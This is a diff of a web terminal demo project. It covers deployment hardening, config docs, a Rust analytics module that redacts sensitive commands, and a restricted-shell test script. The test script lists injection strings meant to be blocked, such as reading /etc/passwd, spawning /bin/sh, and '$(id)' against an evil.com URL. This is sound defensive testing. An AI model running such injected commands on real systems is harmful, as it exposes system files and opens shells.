const wsProtocol = location.protocol === 'https:' ? 'wss:' : 'ws:';
|
||||
const wsAddress = wsProtocol + "//" + location.host + "/" + "{{{live_reload_endpoint}}}";
|
||||
const socket = new WebSocket(wsAddress);
|
||||
socket.onmessage = function (event) {
|
||||
if (event.data === "reload") {
|
||||
socket.close();
|
||||
location.reload();
|
||||
}
|
||||
};
|
||||
|
||||
window.onbeforeunload = function() {
|
||||
socket.close();
|
||||
}
|
||||
</script>
|
||||
{{/if}}
|
||||
|
||||
{{#if playground_line_numbers}}
|
||||
<script>
|
||||
window.playground_line_numbers = true;
|
||||
</script>
|
||||
{{/if}}
|
||||
|
||||
{{#if playground_copyable}}
|
||||
<script>
|
||||
window.playground_copyable = true;
|
||||
</script>
|
||||
{{/if}}
|
||||
|
||||
{{#if playground_js}}
|
||||
<script src="{{ resource "ace.js" }}"></script>
|
||||
<script src="{{ resource "mode-rust.js" }}"></script>
|
||||
<script src="{{ resource "editor.js" }}"></script>
|
||||
<script src="{{ resource "theme-dawn.js" }}"></script>
|
||||
<script src="{{ resource "theme-tomorrow_night.js" }}"></script>
|
||||
{{/if}}
|
||||
|
||||
{{#if search_js}}
|
||||
<script src="{{ resource "elasticlunr.min.js" }}"></script>
|
||||
<script src="{{ resource "mark.min.js" }}"></script>
|
||||
<script src="{{ resource "searcher.js" }}"></script>
|
||||
{{/if}}
|
||||
|
||||
<script src="{{ resource "clipboard.min.js" }}"></script>
|
||||
<script src="{{ resource "highlight.js" }}"></script>
|
||||
<script src="{{ resource "book.js" }}"></script>
|
||||
|
||||
<!-- Custom JS scripts -->
|
||||
{{#each additional_js}}
|
||||
<script src="{{ resource this}}"></script>
|
||||
{{/each}}
|
||||
|
||||
{{#if is_print}}
|
||||
{{#if mathjax_support}}
|
||||
<script>
|
||||
window.addEventListener('load', function() {
|
||||
MathJax.Hub.Register.StartupHook('End', function() {
|
||||
window.setTimeout(window.print, 100);
|
||||
});
|
||||
});
|
||||
</script>
|
||||
{{else}}
|
||||
<script>
|
||||
window.addEventListener('load', function() {
|
||||
window.setTimeout(window.print, 100);
|
||||
});
|
||||
</script>
|
||||
{{/if}}
|
||||
{{/if}}
|
||||
|
||||
{{#if fragment_map}}
|
||||
<script>
|
||||
document.addEventListener('DOMContentLoaded', function() {
|
||||
const fragmentMap =
|
||||
{{{fragment_map}}}
|
||||
;
|
||||
const target = fragmentMap[window.location.hash];
|
||||
if (target) {
|
||||
let url = new URL(target, window.location.href);
|
||||
window.location.replace(url.href);
|
||||
}
|
||||
});
|
||||
</script>
|
||||
{{/if}}
|
||||
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
||||
Vendored
BIN
Binary file not shown.
|
After Width: | Height: | Size: 1.4 MiB |
+35
-2
@@ -2,6 +2,23 @@
|
||||
|
||||
This directory contains configuration files that will be mounted into the Docker container at runtime.
|
||||
|
||||
## Docker Usage
|
||||
|
||||
When using Docker (via `docker-compose.yml` or `scripts/docker-quickstart.sh`):
|
||||
|
||||
1. **Files are mounted directly** to the proper locations in the container:
|
||||
- `alacritty.toml` → `/home/socktop/.config/alacritty/alacritty.toml`
|
||||
- `catppuccin-frappe.toml` → `/home/socktop/.config/alacritty/catppuccin-frappe.toml`
|
||||
- `profiles.json` → `/home/socktop/.config/socktop/profiles.json`
|
||||
- `*.pem` certificates → `/home/socktop/.config/socktop/certs/`
|
||||
|
||||
2. **Files are read-only** in the container (mounted with `:ro` flag)
|
||||
|
||||
3. **To update configuration**:
|
||||
- Edit files in this directory on your host
|
||||
- Changes are immediately visible in the container (no restart needed for most configs)
|
||||
- For some changes, restart may be needed: `docker-compose restart` or `scripts/docker-quickstart.sh restart`
|
||||
|
||||
## Required Files
|
||||
|
||||
Place your actual configuration files in this directory before building/running the container:
|
||||
@@ -25,11 +42,27 @@ Place your actual configuration files in this directory before building/running
|
||||
- Copy from: `profiles.json.example`
|
||||
- Update with your actual host IPs and connection details
|
||||
|
||||
### 3. SSH Keys
|
||||
### 3. SSH Certificates (Optional)
|
||||
|
||||
**`rpi-master.pem`**
|
||||
- SSH private key for master node
|
||||
- **IMPORTANT**: Set permissions to 600
|
||||
- **Permissions**: Must be `600` (will be auto-fixed by entrypoint)
|
||||
- Only needed if connecting to remote systems
|
||||
|
||||
**`rpi-worker-1.pem`, `rpi-worker-2.pem`, `rpi-worker-3.pem`**
|
||||
- SSH private keys for worker nodes
|
||||
- **Permissions**: Must be `600`
|
||||
- Optional - add as needed for your systems
|
||||
|
||||
**Note**: If no certificates are provided, the container will still work for local monitoring.
|
||||
|
||||
### 4. Docker-Specific Notes
|
||||
|
||||
- Files are mounted directly from this directory to their final locations in the container
|
||||
- Files are mounted read-only (`:ro`) for security
|
||||
- Certificate permissions should be `600` on the host before mounting
|
||||
- For local testing, you can comment out the certificate mounts in docker-compose.yml
|
||||
- Without certificates, the container will still work for local monitoring
|
||||
|
||||
**`rpi-worker-1.pem`**
|
||||
- SSH private key for worker node 1
|
||||
|
||||
@@ -18,10 +18,87 @@ spec:
|
||||
hostNetwork: false
|
||||
dnsPolicy: ClusterFirst
|
||||
|
||||
containers:
|
||||
- name: webterm
|
||||
# Security context for the pod
|
||||
securityContext:
|
||||
runAsUser: 100
|
||||
runAsGroup: 101
|
||||
fsGroup: 101
|
||||
|
||||
# Init container to set up configuration
|
||||
initContainers:
|
||||
- name: init-config
|
||||
image: gt.wittyoneoff.com/jason/socktop-webterm:0.2.2
|
||||
imagePullPolicy: Always
|
||||
command: ["/bin/bash", "-c"]
|
||||
args:
|
||||
- |
|
||||
set -e
|
||||
echo "Setting up configuration directories..."
|
||||
mkdir -p /var/lib/socktop/.config/socktop/certs
|
||||
mkdir -p /var/lib/socktop/.config/alacritty
|
||||
|
||||
if [ -f "/home/socktop/.config/socktop/profiles.json" ]; then
|
||||
cp /home/socktop/.config/socktop/profiles.json /var/lib/socktop/.config/socktop/profiles.json
|
||||
echo "Copied profiles.json"
|
||||
fi
|
||||
|
||||
if [ -f "/home/socktop/.config/alacritty/alacritty.toml" ]; then
|
||||
cp /home/socktop/.config/alacritty/alacritty.toml /var/lib/socktop/.config/alacritty/alacritty.toml
|
||||
echo "Copied alacritty.toml"
|
||||
fi
|
||||
|
||||
if [ -f "/home/socktop/.config/alacritty/catppuccin-frappe.toml" ]; then
|
||||
cp /home/socktop/.config/alacritty/catppuccin-frappe.toml /var/lib/socktop/.config/alacritty/catppuccin-frappe.toml
|
||||
echo "Copied catppuccin-frappe.toml"
|
||||
fi
|
||||
|
||||
if [ -d "/home/socktop/.config/socktop/certs" ]; then
|
||||
cp /home/socktop/.config/socktop/certs/*.pem /var/lib/socktop/.config/socktop/certs/ 2>/dev/null || true
|
||||
echo "Copied certificates"
|
||||
fi
|
||||
|
||||
# Fix paths in profiles.json
|
||||
if [ -f "/var/lib/socktop/.config/socktop/profiles.json" ]; then
|
||||
sed -i 's|/home/socktop/.config/socktop/rpi-|/var/lib/socktop/.config/socktop/certs/rpi-|g' /var/lib/socktop/.config/socktop/profiles.json
|
||||
echo "Updated certificate paths"
|
||||
fi
|
||||
|
||||
echo "Configuration setup complete"
|
||||
volumeMounts:
|
||||
- name: config
|
||||
mountPath: /home/socktop/.config/socktop/profiles.json
|
||||
subPath: profiles.json
|
||||
- name: config
|
||||
mountPath: /home/socktop/.config/alacritty/alacritty.toml
|
||||
subPath: alacritty.toml
|
||||
- name: config
|
||||
mountPath: /home/socktop/.config/alacritty/catppuccin-frappe.toml
|
||||
subPath: catppuccin-frappe.toml
|
||||
- name: certs
|
||||
mountPath: /home/socktop/.config/socktop/certs
|
||||
readOnly: true
|
||||
- name: socktop-home
|
||||
mountPath: /var/lib/socktop
|
||||
securityContext:
|
||||
runAsUser: 100
|
||||
runAsGroup: 101
|
||||
|
||||
containers:
|
||||
- name: webterm
|
||||
image: gt.wittyoneoff.com/jason/socktop-webterm:0.3.12
|
||||
imagePullPolicy: Always
|
||||
|
||||
command: ["/docker-entrypoint.sh"]
|
||||
args:
|
||||
[
|
||||
"webterm-server",
|
||||
"--host",
|
||||
"0.0.0.0",
|
||||
"--port",
|
||||
"8082",
|
||||
"--command",
|
||||
"/usr/local/bin/session-shell.sh",
|
||||
]
|
||||
|
||||
ports:
|
||||
- name: http
|
||||
@@ -38,6 +115,13 @@ spec:
|
||||
value: "America/New_York"
|
||||
- name: RUST_LOG
|
||||
value: "info"
|
||||
# Disable socktop's local process-kill feature for every socktop
|
||||
# launched anywhere under this pod, regardless of command line.
|
||||
# The restricted shell also passes --no-kill, but this is the layer
|
||||
# a visitor cannot route around (no way to unset env from the
|
||||
# restricted shell).
|
||||
- name: SOCKTOP_NO_KILL
|
||||
value: "1"
|
||||
|
||||
resources:
|
||||
limits:
|
||||
@@ -78,14 +162,44 @@ spec:
|
||||
- name: certs
|
||||
mountPath: /home/socktop/.config/socktop/certs
|
||||
readOnly: true
|
||||
- name: socktop-home
|
||||
mountPath: /var/lib/socktop
|
||||
|
||||
# webterm-server runs as in-container root holding only the caps
|
||||
# listed below (everything else dropped, no privilege escalation),
|
||||
# so it can drop each websocket session to the unprivileged `demo`
|
||||
# user via session-shell.sh. The kernel then refuses any signal a
|
||||
# session aims at the server, the agent (running as `socktop`), or
|
||||
# another session's UID — the kill feature's UI gating stops being
|
||||
# the only line of defense.
|
||||
securityContext:
|
||||
allowPrivilegeEscalation: false
|
||||
capabilities:
|
||||
drop:
|
||||
- ALL
|
||||
add:
|
||||
- SETUID
|
||||
- SETGID
|
||||
# The server must be able to signal the sessions it spawned,
|
||||
# which run as `demo` — a different uid — so root needs
|
||||
# CAP_KILL for that. Without it every idle-timeout teardown
|
||||
# got EPERM, the session lived on, and (0.3.11) the actix
|
||||
# worker blocked in wait() on it: half of all requests hung.
|
||||
# Sessions still cannot signal anything: setpriv drops every
|
||||
# cap (including this one) before the restricted shell runs.
|
||||
- KILL
|
||||
# prepare_demo_home (entrypoint.sh) writes into and re-owns
|
||||
# /home/demo, which the image ships as demo-owned 700. With
|
||||
# ALL dropped, uid 0 has no implicit file privilege, so the
|
||||
# three file caps must come back or the entrypoint crashes on
|
||||
# mkdir/chown/chmod. Sessions still get zero caps — session-
|
||||
# shell.sh drops them all via setpriv --inh-caps -all.
|
||||
- CHOWN
|
||||
- DAC_OVERRIDE
|
||||
- FOWNER
|
||||
readOnlyRootFilesystem: false
|
||||
runAsNonRoot: false
|
||||
runAsUser: 0
|
||||
runAsGroup: 0
|
||||
|
||||
volumes:
|
||||
- name: config
|
||||
@@ -95,5 +209,7 @@ spec:
|
||||
secret:
|
||||
secretName: socktop-webterm-certs
|
||||
optional: true
|
||||
- name: socktop-home
|
||||
emptyDir: {}
|
||||
|
||||
restartPolicy: Always
|
||||
|
||||
Binary file not shown.
|
After Width: | Height: | Size: 533 KiB |
Executable
+152
@@ -0,0 +1,152 @@
|
||||
#!/bin/bash
|
||||
# Security test script for restricted shell
|
||||
# Tests various injection and escape attempts
|
||||
|
||||
set -e
|
||||
|
||||
RED='\033[0;31m'
|
||||
GREEN='\033[0;32m'
|
||||
YELLOW='\033[1;33m'
|
||||
BLUE='\033[0;34m'
|
||||
NC='\033[0m' # No Color
|
||||
|
||||
echo -e "${BLUE}╔════════════════════════════════════════════════════════╗${NC}"
|
||||
echo -e "${BLUE}║ Restricted Shell Security Test ║${NC}"
|
||||
echo -e "${BLUE}╚════════════════════════════════════════════════════════╝${NC}"
|
||||
echo ""
|
||||
|
||||
PASSED=0
|
||||
FAILED=0
|
||||
TOTAL=0
|
||||
|
||||
# Function to test a command
|
||||
test_command() {
|
||||
local test_name="$1"
|
||||
local test_input="$2"
|
||||
local should_block="$3" # "block" or "allow"
|
||||
|
||||
TOTAL=$((TOTAL + 1))
|
||||
|
||||
echo -ne "${YELLOW}Testing:${NC} $test_name ... "
|
||||
|
||||
# Note: This is a template. In practice, you'd need to:
|
||||
# 1. Send input to the restricted shell
|
||||
# 2. Check if it was blocked or executed
|
||||
# 3. Verify no unauthorized commands ran
|
||||
|
||||
# For now, we'll test the regex patterns
|
||||
if [[ "$should_block" == "block" ]]; then
|
||||
# These should be blocked
|
||||
if [[ "$test_input" =~ ^-P[[:space:]]+[a-zA-Z0-9_-]+$ ]] || \
|
||||
[[ "$test_input" =~ ^wss?://[a-zA-Z0-9\.\:/_-]+$ ]]; then
|
||||
echo -e "${RED}FAIL${NC} - Should have blocked but pattern matched"
|
||||
FAILED=$((FAILED + 1))
|
||||
else
|
||||
echo -e "${GREEN}PASS${NC} - Correctly blocked"
|
||||
PASSED=$((PASSED + 1))
|
||||
fi
|
||||
else
|
||||
# These should be allowed
|
||||
if [[ "$test_input" =~ ^-P[[:space:]]+[a-zA-Z0-9_-]+$ ]] || \
|
||||
[[ "$test_input" =~ ^wss?://[a-zA-Z0-9\.\:/_-]+$ ]]; then
|
||||
echo -e "${GREEN}PASS${NC} - Correctly allowed"
|
||||
PASSED=$((PASSED + 1))
|
||||
else
|
||||
echo -e "${RED}FAIL${NC} - Should have allowed but pattern didn't match"
|
||||
FAILED=$((FAILED + 1))
|
||||
fi
|
||||
fi
|
||||
}
|
||||
|
||||
echo -e "${BLUE}═══ Testing Valid Commands (Should Allow) ═══${NC}"
|
||||
echo ""
|
||||
|
||||
test_command "Local profile" "-P local" "allow"
|
||||
test_command "Remote profile" "-P rpi-master" "allow"
|
||||
test_command "Profile with dash" "-P rpi-worker-1" "allow"
|
||||
test_command "Profile with underscore" "-P my_profile" "allow"
|
||||
test_command "Websocket URL" "ws://192.168.1.100:3000" "allow"
|
||||
test_command "Secure websocket" "wss://example.com:3000" "allow"
|
||||
test_command "Websocket with path" "ws://192.168.1.100:3000/ws" "allow"
|
||||
|
||||
echo ""
|
||||
echo -e "${BLUE}═══ Testing Command Injection (Should Block) ═══${NC}"
|
||||
echo ""
|
||||
|
||||
test_command "Command substitution \$()" "-P \$(whoami)" "block"
|
||||
test_command "Command substitution backticks" "-P \`id\`" "block"
|
||||
test_command "Shell semicolon" "-P local; ls -la" "block"
|
||||
test_command "Shell AND operator" "-P local && cat /etc/passwd" "block"
|
||||
test_command "Shell OR operator" "-P local || /bin/sh" "block"
|
||||
test_command "Shell pipe" "-P local | grep root" "block"
|
||||
test_command "Shell redirect" "-P local > /tmp/output" "block"
|
||||
test_command "Shell background" "-P local &" "block"
|
||||
|
||||
echo ""
|
||||
echo -e "${BLUE}═══ Testing Path Traversal (Should Block) ═══${NC}"
|
||||
echo ""
|
||||
|
||||
test_command "Parent directory" "-P ../etc/passwd" "block"
|
||||
test_command "Absolute path" "-P /etc/passwd" "block"
|
||||
test_command "Multiple parent dirs" "-P ../../bin/bash" "block"
|
||||
test_command "Encoded path" "-P %2e%2e%2f" "block"
|
||||
|
||||
echo ""
|
||||
echo -e "${BLUE}═══ Testing Special Characters (Should Block) ═══${NC}"
|
||||
echo ""
|
||||
|
||||
test_command "Newline injection" "-P local\nls" "block"
|
||||
test_command "Carriage return" "-P local\rls" "block"
|
||||
test_command "Null byte" "-P local\x00ls" "block"
|
||||
test_command "Single quote" "-P local' ls" "block"
|
||||
test_command "Double quote" "-P local\" ls" "block"
|
||||
test_command "Dollar sign" "-P \$HOME" "block"
|
||||
test_command "Asterisk wildcard" "-P local*" "block"
|
||||
test_command "Question wildcard" "-P local?" "block"
|
||||
|
||||
echo ""
|
||||
echo -e "${BLUE}═══ Testing Environment Variables (Should Block) ═══${NC}"
|
||||
echo ""
|
||||
|
||||
test_command "HOME variable" "-P \$HOME" "block"
|
||||
test_command "PATH variable" "-P \$PATH" "block"
|
||||
test_command "SHELL variable" "-P \$SHELL" "block"
|
||||
test_command "Braced variable" "-P \${HOME}" "block"
|
||||
|
||||
echo ""
|
||||
echo -e "${BLUE}═══ Testing WebSocket URL Exploits (Should Block) ═══${NC}"
|
||||
echo ""
|
||||
|
||||
test_command "WS with command injection" "ws://evil.com/\$(id)" "block"
|
||||
test_command "WS with backticks" "ws://evil.com/\`whoami\`" "block"
|
||||
test_command "WS with semicolon" "ws://evil.com/; ls" "block"
|
||||
test_command "WS with spaces" "ws://evil.com/ /bin/sh" "block"
|
||||
|
||||
echo ""
|
||||
echo -e "${BLUE}════════════════════════════════════════════════════${NC}"
|
||||
echo -e "${BLUE} TEST SUMMARY ${NC}"
|
||||
echo -e "${BLUE}════════════════════════════════════════════════════${NC}"
|
||||
echo ""
|
||||
echo -e "Total Tests: ${BLUE}$TOTAL${NC}"
|
||||
echo -e "Passed: ${GREEN}$PASSED${NC}"
|
||||
echo -e "Failed: ${RED}$FAILED${NC}"
|
||||
echo ""
|
||||
|
||||
if [ $FAILED -eq 0 ]; then
|
||||
echo -e "${GREEN}✓ All security tests passed!${NC}"
|
||||
echo ""
|
||||
echo -e "${YELLOW}Note:${NC} These are pattern validation tests only."
|
||||
echo "For complete security verification, you should:"
|
||||
echo " 1. Test in actual container environment"
|
||||
echo " 2. Verify socktop binary doesn't process malicious args"
|
||||
echo " 3. Monitor for unexpected process execution"
|
||||
echo " 4. Check logs for injection attempts"
|
||||
echo ""
|
||||
exit 0
|
||||
else
|
||||
echo -e "${RED}✗ Some security tests failed!${NC}"
|
||||
echo ""
|
||||
echo "Review the failed tests and update regex patterns in restricted-shell.sh"
|
||||
echo ""
|
||||
exit 1
|
||||
fi
|
||||
Executable
+54
@@ -0,0 +1,54 @@
|
||||
#!/usr/bin/env bash
|
||||
# Verify that the socktop binary baked into a built image understands every
|
||||
# --flag the restricted/session shells pass to it.
|
||||
#
|
||||
# Why this exists: image 0.3.9 shipped with a cached apt layer holding socktop
|
||||
# 1.60.1, while restricted-shell.sh had started passing --no-kill (added in
|
||||
# 1.60.2). 1.60.1 parsed the unknown flag as the positional websocket URL,
|
||||
# prompted to overwrite the 'local' profile with url "--no-kill", and broke the
|
||||
# demo. This check fails the build whenever the shells and the installed
|
||||
# binary disagree about the CLI.
|
||||
#
|
||||
# Usage: verify-image-socktop-flags.sh IMAGE
|
||||
set -euo pipefail
|
||||
|
||||
IMAGE="${1:?usage: verify-image-socktop-flags.sh IMAGE}"
|
||||
cd "$(dirname "$0")/.."
|
||||
|
||||
# Every --flag appearing on a socktop invocation line in the shells.
|
||||
FLAGS=$(grep -hE '/usr/bin/socktop' docker/restricted-shell.sh docker/session-shell.sh 2>/dev/null |
|
||||
grep -oE -- '--[a-z][a-z-]*' | sort -u)
|
||||
if [ -z "$FLAGS" ]; then
|
||||
echo "ERROR: found no socktop flags to verify — did the shells move?" >&2
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# The image is arm64-only; pin the platform so the check behaves the same on
|
||||
# the arm64 CI runner and on an amd64 box with qemu binfmt.
|
||||
run_socktop() {
|
||||
docker run --rm --platform linux/arm64 --entrypoint /usr/bin/socktop "$IMAGE" "$@" 2>&1
|
||||
}
|
||||
|
||||
if ! VERSION=$(run_socktop --version); then
|
||||
echo "ERROR: could not run socktop from ${IMAGE}:" >&2
|
||||
echo "$VERSION" >&2
|
||||
exit 1
|
||||
fi
|
||||
HELP=$(run_socktop --help || true)
|
||||
echo "image socktop: ${VERSION}"
|
||||
|
||||
rc=0
|
||||
for flag in $FLAGS; do
|
||||
if printf '%s' "$HELP" | grep -q -- "$flag"; then
|
||||
echo " ok: $flag"
|
||||
else
|
||||
echo " MISSING: installed socktop does not document $flag" >&2
|
||||
rc=1
|
||||
fi
|
||||
done
|
||||
|
||||
if [ "$rc" -ne 0 ]; then
|
||||
echo "FAIL: the image's socktop predates flags the shells pass." >&2
|
||||
echo "Bump SOCKTOP_VERSION in the Dockerfile to a release that has them." >&2
|
||||
fi
|
||||
exit $rc
|
||||
@@ -0,0 +1,256 @@
|
||||
// Copyright (c) 2024 Jason Witty <jasonpwitty+socktop@proton.me>.
|
||||
// All rights reserved.
|
||||
//
|
||||
// Umami analytics integration for tracking terminal events using pop-telemetry
|
||||
|
||||
use pop_telemetry::{record_cli_command, Telemetry};
|
||||
use serde_json::json;
|
||||
use std::path::PathBuf;
|
||||
use std::sync::Arc;
|
||||
use tokio::sync::Mutex;
|
||||
|
||||
/// Umami analytics tracker
|
||||
pub struct Analytics {
|
||||
telemetry: Arc<Mutex<Option<Telemetry>>>,
|
||||
enabled: bool,
|
||||
}
|
||||
|
||||
impl Analytics {
|
||||
/// Create a new Analytics instance with custom Umami endpoint
|
||||
///
|
||||
/// # Arguments
|
||||
/// * `website_id` - The Umami website ID
|
||||
/// * `endpoint` - The Umami instance endpoint (e.g., "http://unami.wittyoneoff.com/api/send")
|
||||
/// * `config_path` - Path to the telemetry config file (for opt-out checks)
|
||||
pub fn new(website_id: String, endpoint: String, config_path: PathBuf) -> Self {
|
||||
let telemetry = Telemetry::init_with_website_id(endpoint, website_id, &config_path);
|
||||
|
||||
Self {
|
||||
telemetry: Arc::new(Mutex::new(Some(telemetry))),
|
||||
enabled: true,
|
||||
}
|
||||
}
|
||||
|
||||
/// Create a disabled Analytics instance (no-op)
|
||||
pub fn disabled() -> Self {
|
||||
Self {
|
||||
telemetry: Arc::new(Mutex::new(None)),
|
||||
enabled: false,
|
||||
}
|
||||
}
|
||||
|
||||
/// Track a terminal command event
|
||||
///
|
||||
/// # Arguments
|
||||
/// * `command` - The command that was typed (will be sanitized)
|
||||
/// * `_user_agent` - Optional user agent string (not used with pop-telemetry)
|
||||
pub async fn track_command(&self, command: &str, _user_agent: Option<String>) {
|
||||
if !self.enabled {
|
||||
return;
|
||||
}
|
||||
|
||||
let telemetry = self.telemetry.lock().await;
|
||||
|
||||
if let Some(t) = telemetry.as_ref() {
|
||||
// Sanitize the command for analytics
|
||||
let sanitized_command = sanitize_command(command);
|
||||
|
||||
// Track as an event using pop-telemetry
|
||||
let data = json!({
|
||||
"command": sanitized_command,
|
||||
"type": "terminal_command"
|
||||
});
|
||||
|
||||
match record_cli_command(t.clone(), "command_typed", data).await {
|
||||
Ok(_) => log::debug!("Tracked command event: {}", sanitized_command),
|
||||
Err(e) => log::warn!("Failed to track command event: {:?}", e),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Track a page view
|
||||
///
|
||||
/// # Arguments
|
||||
/// * `path` - The page path
|
||||
/// * `_user_agent` - Optional user agent string (not used with pop-telemetry)
|
||||
pub async fn track_pageview(&self, path: &str, _user_agent: Option<String>) {
|
||||
if !self.enabled {
|
||||
return;
|
||||
}
|
||||
|
||||
let telemetry = self.telemetry.lock().await;
|
||||
|
||||
if let Some(t) = telemetry.as_ref() {
|
||||
let data = json!({
|
||||
"path": path,
|
||||
"type": "pageview"
|
||||
});
|
||||
|
||||
match record_cli_command(t.clone(), "pageview", data).await {
|
||||
Ok(_) => log::debug!("Tracked pageview: {}", path),
|
||||
Err(e) => log::warn!("Failed to track pageview: {:?}", e),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Track a terminal session start
|
||||
pub async fn track_session_start(&self, _user_agent: Option<String>) {
|
||||
if !self.enabled {
|
||||
return;
|
||||
}
|
||||
|
||||
let telemetry = self.telemetry.lock().await;
|
||||
|
||||
if let Some(t) = telemetry.as_ref() {
|
||||
let data = json!({
|
||||
"event": "session_start",
|
||||
"type": "terminal_session"
|
||||
});
|
||||
|
||||
match record_cli_command(t.clone(), "session_start", data).await {
|
||||
Ok(_) => log::debug!("Tracked session start"),
|
||||
Err(e) => log::warn!("Failed to track session start: {:?}", e),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Track a terminal session end
|
||||
pub async fn track_session_end(&self, _user_agent: Option<String>) {
|
||||
if !self.enabled {
|
||||
return;
|
||||
}
|
||||
|
||||
let telemetry = self.telemetry.lock().await;
|
||||
|
||||
if let Some(t) = telemetry.as_ref() {
|
||||
let data = json!({
|
||||
"event": "session_end",
|
||||
"type": "terminal_session"
|
||||
});
|
||||
|
||||
match record_cli_command(t.clone(), "session_end", data).await {
|
||||
Ok(_) => log::debug!("Tracked session end"),
|
||||
Err(e) => log::warn!("Failed to track session end: {:?}", e),
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
impl Clone for Analytics {
|
||||
fn clone(&self) -> Self {
|
||||
Self {
|
||||
telemetry: Arc::clone(&self.telemetry),
|
||||
enabled: self.enabled,
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Sanitize a command for analytics tracking
|
||||
///
|
||||
/// This removes potentially sensitive information like:
|
||||
/// - Passwords in commands (e.g., mysql -p password)
|
||||
/// - URLs with credentials
|
||||
/// - SSH keys
|
||||
/// - File paths (replaced with generic placeholders)
|
||||
///
|
||||
/// Returns a sanitized version of the command safe for analytics
|
||||
fn sanitize_command(command: &str) -> String {
|
||||
let trimmed = command.trim();
|
||||
|
||||
// If empty, return as-is
|
||||
if trimmed.is_empty() {
|
||||
return "empty".to_string();
|
||||
}
|
||||
|
||||
// Split into words
|
||||
let words: Vec<&str> = trimmed.split_whitespace().collect();
|
||||
|
||||
if words.is_empty() {
|
||||
return "empty".to_string();
|
||||
}
|
||||
|
||||
// Get the base command (first word)
|
||||
let base_cmd = words[0];
|
||||
|
||||
// For sensitive commands, only track the command name
|
||||
let sensitive_commands = [
|
||||
"ssh", "scp", "sftp", "rsync", "mysql", "psql", "mongo", "curl", "wget", "git", "docker",
|
||||
"kubectl", "aws", "gcloud", "sudo", "su", "passwd", "chpasswd", "openssl", "gpg",
|
||||
];
|
||||
|
||||
if sensitive_commands.iter().any(|&cmd| base_cmd.contains(cmd)) {
|
||||
return format!("{}_REDACTED", base_cmd);
|
||||
}
|
||||
|
||||
// For common safe commands, keep the command and count of args
|
||||
let safe_commands = [
|
||||
"ls", "cd", "pwd", "cat", "less", "more", "head", "tail", "echo", "grep", "find", "which",
|
||||
"whoami", "date", "cal", "clear", "exit", "history", "man", "help", "top", "htop", "ps",
|
||||
"kill", "df", "du", "free", "uptime", "uname", "socktop",
|
||||
];
|
||||
|
||||
if safe_commands.contains(&base_cmd) {
|
||||
if words.len() > 1 {
|
||||
return format!("{}_with_{}_args", base_cmd, words.len() - 1);
|
||||
} else {
|
||||
return base_cmd.to_string();
|
||||
}
|
||||
}
|
||||
|
||||
// For other commands, just return the base command
|
||||
base_cmd.to_string()
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
|
||||
#[test]
|
||||
fn test_sanitize_empty() {
|
||||
assert_eq!(sanitize_command(""), "empty");
|
||||
assert_eq!(sanitize_command(" "), "empty");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_sanitize_safe_commands() {
|
||||
assert_eq!(sanitize_command("ls"), "ls");
|
||||
assert_eq!(sanitize_command("ls -la"), "ls_with_1_args");
|
||||
assert_eq!(sanitize_command("cd /tmp"), "cd_with_1_args");
|
||||
assert_eq!(sanitize_command("pwd"), "pwd");
|
||||
assert_eq!(sanitize_command("socktop"), "socktop");
|
||||
assert_eq!(sanitize_command("socktop -P local"), "socktop_with_2_args");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_sanitize_sensitive_commands() {
|
||||
assert_eq!(sanitize_command("ssh user@host"), "ssh_REDACTED");
|
||||
assert_eq!(
|
||||
sanitize_command("mysql -u root -p password"),
|
||||
"mysql_REDACTED"
|
||||
);
|
||||
assert_eq!(
|
||||
sanitize_command("curl https://api.com/secret"),
|
||||
"curl_REDACTED"
|
||||
);
|
||||
assert_eq!(sanitize_command("sudo rm -rf /"), "sudo_REDACTED");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_sanitize_unknown_commands() {
|
||||
assert_eq!(sanitize_command("customcmd arg1 arg2"), "customcmd");
|
||||
assert_eq!(sanitize_command("./script.sh"), "./script.sh");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_analytics_disabled() {
|
||||
let analytics = Analytics::disabled();
|
||||
assert!(!analytics.enabled);
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn test_track_command_disabled() {
|
||||
let analytics = Analytics::disabled();
|
||||
// Should not panic or error when disabled
|
||||
analytics.track_command("ls -la", None).await;
|
||||
}
|
||||
}
|
||||
+8
-45
@@ -1,71 +1,34 @@
|
||||
use actix::Message;
|
||||
use futures::{Future, Poll};
|
||||
use libc::c_ushort;
|
||||
use tokio_pty_process::PtyMaster;
|
||||
use bytes::Bytes;
|
||||
|
||||
pub use crate::terminado::TerminadoMessage;
|
||||
|
||||
use tokio_codec::{BytesCodec, Decoder};
|
||||
type BytesMut = <BytesCodec as Decoder>::Item;
|
||||
|
||||
pub struct Resize<T: PtyMaster> {
|
||||
pty: T,
|
||||
rows: c_ushort,
|
||||
cols: c_ushort,
|
||||
}
|
||||
|
||||
impl<T: PtyMaster> Resize<T> {
|
||||
pub fn new(pty: T, rows: c_ushort, cols: c_ushort) -> Self {
|
||||
Self { pty, rows, cols }
|
||||
}
|
||||
}
|
||||
|
||||
impl<T: PtyMaster> Future for Resize<T> {
|
||||
type Item = ();
|
||||
type Error = std::io::Error;
|
||||
|
||||
fn poll(&mut self) -> Poll<Self::Item, Self::Error> {
|
||||
self.pty.resize(self.rows, self.cols)
|
||||
}
|
||||
}
|
||||
|
||||
#[derive(Debug, Eq, PartialEq, Clone)]
|
||||
pub struct IO(pub BytesMut);
|
||||
pub struct IO(pub Bytes);
|
||||
|
||||
impl Message for IO {
|
||||
type Result = ();
|
||||
}
|
||||
|
||||
impl Into<actix_web::web::Bytes> for IO {
|
||||
fn into(self) -> actix_web::web::Bytes {
|
||||
self.0.into()
|
||||
}
|
||||
}
|
||||
|
||||
impl AsRef<[u8]> for IO {
|
||||
fn as_ref(&self) -> &[u8] {
|
||||
self.0.as_ref()
|
||||
}
|
||||
}
|
||||
|
||||
impl From<actix_web::web::Bytes> for IO {
|
||||
fn from(b: actix_web::web::Bytes) -> Self {
|
||||
Self(b.as_ref().into())
|
||||
